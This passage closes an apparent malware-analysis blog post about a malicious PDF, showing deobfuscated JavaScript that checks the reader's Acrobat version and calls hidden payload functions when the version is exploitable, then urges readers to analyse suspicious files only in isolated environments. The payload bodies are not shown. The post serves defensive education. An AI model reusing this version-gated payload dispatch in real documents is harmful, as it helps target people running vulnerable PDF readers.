if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] <
2)) {
gX();
}
var vEdit = "";
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)) {
updateE();
}
var eH = function() {};
var eSJ = new Function();
cG();
var vUpdate = false;
}
var basicU = new Date();
this.updateO = false;
nO();
var mUpdate = function() {};

If we take a closer look onto the final code, we can observe that there are multiple payloads within a single PDF document which will be executed when the PDF version matches to the one which is exploitable.

Conclusion

We always need to be aware of such attacks and shall remain vigilant always. In case we receive any suspicious email/file, it shall properly be scanned and analyzed in an isolated environment only by the resources who have the authority and authorization to do so. Don’t start to analyze it by yourself especially when being on an Official/Personal laptop as your little mistake can cause damage to your whole organization.

--

--

Kamran Saifullah

Malware/RE/Firmware Analysis, App Sec/Off Sec, VAPT, Phishing Simulations/SE | Risk Management, IS Governance, Audits, ISO 27001 LI